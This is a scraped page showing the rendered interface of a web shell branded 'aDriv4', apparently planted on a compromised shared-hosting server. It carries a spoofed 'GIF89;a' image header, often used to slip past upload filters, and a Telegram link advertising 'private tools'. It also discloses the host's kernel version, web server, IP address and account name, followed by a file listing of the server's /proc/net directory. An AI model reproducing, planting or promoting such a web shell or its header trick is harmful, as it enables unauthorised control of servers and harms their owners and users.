GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium155.web-hosting.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
 LiteSpeed
 162.0.235.200
Name Type Size Owner/Group Permission Last Modified Actions
. dir - easyjnaq/easyjnaq 0555 2026-02-11 12:53:32
.. dir - easyjnaq/easyjnaq 0555 2026-02-11 12:51:50
dev_snmp6 dir - root/root 0555 2026-02-11 12:53:32
netfilter dir - root/root 0555 2026-02-11 12:53:32
nfsfs dir - root/root 0555 2026-02-11 12:53:32
rpc dir - root/root 0555 2026-02-11 12:53:32
stat dir - root/root 0555 2026-02-11 12:53:32
anycast6 application/x-empty 0 B root/root 0444 2026-02-11 12:53:35
arp text/plain 0 B root/root 0444 2026-02-11 12:53:35
connector text/plain 0 B root/root 0444 2026-02-11 12:53:32
dev text/plain 0 B root/root 0444 2026-02-11 12:53:35
dev_mcast text/plain 0 B root/root 0444 2026-02-11 12:53:35
fib_trie text/plain 0 B root/root 0444 2026-02-11 12:53:35
fib_triestat text/plain 0 B root/root 0444 2026-02-11 12:53:35
icmp text/plain 0 B root/root 0444 2026-02-11 12:53:35
icmp6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
if_inet6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
igmp text/plain 0 B root/root 0444 2026-02-11 12:53:35
igmp6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip6_flowlabel text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip6_mr_cache text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip6_mr_vif text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip_mr_cache text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip_mr_vif text/plain 0 B root/root 0444 2026-02-11 12:53:35
ip_tables_matches 0 B root/root 0440 2026-02-11 12:53:32
ip_tables_names 0 B root/root 0440 2026-02-11 12:53:35
ip_tables_targets 0 B root/root 0440 2026-02-11 12:53:32
ipv6_route text/plain 0 B root/root 0444 2026-02-11 12:53:35
mcfilter text/plain 0 B root/root 0444 2026-02-11 12:53:35
mcfilter6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
netlink text/plain 0 B root/root 0444 2026-02-11 12:53:35
netstat text/plain 0 B root/root 0444 2026-02-11 12:53:35
nf_conntrack 0 B root/root 0440 2026-02-11 12:53:35
nf_conntrack_expect 0 B root/root 0440 2026-02-11 12:53:35
packet text/plain 0 B root/root 0444 2026-02-11 12:53:35
protocols text/plain 0 B root/root 0444 2026-02-11 12:53:35
psched text/plain 0 B root/root 0444 2026-02-11 12:53:32
ptype text/plain 0 B root/root 0444 2026-02-11 12:53:35
raw text/plain 0 B root/root 0444 2026-02-11 12:53:35
raw6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
route text/plain 0 B root/root 0444 2026-02-11 12:53:35
rt6_stats text/plain 0 B root/root 0444 2026-02-11 12:53:35
rt_acct application/octet-stream 0 B root/root 0444 2026-02-11 12:53:32
rt_cache text/plain 0 B root/root 0444 2026-02-11 12:53:32
snmp text/plain 0 B root/root 0444 2026-02-11 12:53:35
snmp6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
sockstat text/plain 0 B root/root 0444 2026-02-11 12:53:35
sockstat6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
softnet_stat text/plain 0 B root/root 0444 2026-02-11 12:53:32
tcp text/plain 0 B root/root 0444 2026-02-11 12:53:35
tcp6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
udp text/plain 0 B root/root 0444 2026-02-11 12:53:35
udp6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
udplite text/plain 0 B root/root 0444 2026-02-11 12:53:35
udplite6 text/plain 0 B root/root 0444 2026-02-11 12:53:35
unix text/plain 0 B root/root 0444 2026-02-11 12:53:35
xfrm_stat text/plain 0 B root/root 0444 2026-02-11 12:53:35
© aDriv4